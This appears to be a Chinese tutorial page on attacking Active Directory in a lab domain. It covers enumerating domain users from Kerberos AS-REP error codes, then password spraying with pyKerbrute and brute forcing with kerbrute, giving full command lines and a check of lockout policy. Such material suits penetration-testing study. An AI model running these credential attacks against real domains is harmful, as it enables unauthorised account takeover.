当前位置: 首页 > news >正文

域内用户枚举与密码喷洒与密码爆破

  • 域控:192.168.72.163

  • 攻击者:192.168.72.162

  • 域:hacker.com

用户枚举

as-rep 回复状态判断域用户

  • 用户存在且启用:KDC_ERR_PREAUTH_REQUIRED (需要额外的预认证)

  • 用户存在但禁用:KDC_ERR_CLIENT_REVOKED NT Status:STATUS_ACCOUNT_DISABLED (用户状态不可用)

  • 用户不存在:KDC_ERR_C_PRINCIPAL_UNKNOWN (找不到此用户)

工具:pyKerbrute,项目地址:GitHub - 3gstudent/pyKerbrute: Use python to perform Kerberos pre-auth bruteforcing

python 编写的枚举工具,支持 tcp 和 udp 两种模式。
​
#tcp 模式
python2 EnumADUser.py 192.168.72.163 hacker.com /tmp/username.txt tcp
​
#udp 模式
python2 EnumADUser.py 192.168.72.163 hacker.com /tmp/username.txt udp

密码喷洒

  • 爆破是针对一个用户,多个密码验证

  • 喷洒是针对多个用户,单个密码验证

kerberos 认证 as-req 阶段,用户发送的 as-req 数据包包含用户 hash 加密的时间戳,所以密码喷洒的原理就是使用用户 hash 加密时间戳搭配不同的用户构造出as-req 进行 kerberos 认证。用户 hash 是用户密码使用微软的派生算法派生出来的。

工具:pyKerbrute:GitHub - 3gstudent/pyKerbrute: Use python to perform Kerberos pre-auth bruteforcing

python2 ADPwdSpray.py [ip_address] [domain_name] [usernames_file_path] clearpassword [password] tcp
​
clearpassword:指定密码喷洒模式,这里是明文密码格式
ip_address:域控ip
domain_name:域名
path_of_usernames:用户名字典文件的路径
password:明文密码
tcp:指定tcp模式(还可以指定udp模式)
python2 ADPwdSpray.py 192.168.72.163 hacker.com /tmp/Username.txt clearpassword p-0p-0p-0 tcp 

密码爆破

工具:kerbrute:GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing

net accounts /domain:查看域控制器上的账户策略信息(这个策略是全局的,表明对域中所有账户适用)
如下显示,表明没有密码锁定策略,可以使用爆破
Lockout threshold: Never
​
./kerbrute_linux_amd64 bruteuser --dc [ip_address] -d [domain_name] [passwords_file_path] [username]
./kerbrute_linux_amd64 bruteuser --dc 192.168.72.163 -d hacker.com /tmp/password.txt administrator

 

http://www.lryc.cn/news/506559.html

相关文章:

  • DIY 集合求并集(union)运算的代码 ← Python
  • Redis bitmaps 使用
  • vue深层数据响应的问题
  • 解决Nginx + Vue.js (ruoyi-vue) 单页应用(SPA) 404问题的指南
  • 项目计划表如何制作?使用甘特图制作项目计划表的步骤
  • Flutter-底部分享弹窗(showModalBottomSheet)
  • 初学stm32 --- 时钟配置
  • LeetCode:226.翻转二叉树
  • (css)鼠标移入或点击改变背景图片
  • Unbuntu下怎么生成SSL自签证书?
  • OpenGL ES 03 加载3张图片并做混合处理
  • 深度学习-74-大语言模型LLM之基于API与llama.cpp启动的模型进行交互
  • PyTorch 2.0 中设置默认使用 GPU 的方法
  • 如何在 Ubuntu 22.04 服务器上安装 Jenkins
  • 【一篇搞定配置】如何在Ubuntu上配置单机/伪分布式Hadoop
  • 利用Map集合设计程序,存储城市和对应等级相关信息
  • 【自动驾驶】单目摄像头实现自动驾驶3D目标检测
  • 21 go语言(golang) - gin框架安装及使用(二)
  • Intel(R) Iris(R) Xe Graphics安装Anaconda、Pytorch(CPU版本)
  • 【Unity3D】实现可视化链式结构数据(节点数据)
  • Three.js推荐-可以和Three.js结合的动画库
  • 增强现实(AR)和虚拟现实(VR)的应用
  • 告别机器人味:如何让ChatGPT写出有灵魂的内容
  • 【Threejs】从零开始(六)--GUI调试开发3D效果
  • Cocos Creator 试玩广告开发
  • 快速解决oracle 11g中exp无法导出空表的问题
  • selenium 报错 invalid argument: invalid locator
  • Flink2.0未来趋势中需要注意的一些问题
  • 机械鹦鹉与真正的智能:大语言模型推理能力的迷思
  • 本地电脑使用命令行上传文件至远程服务器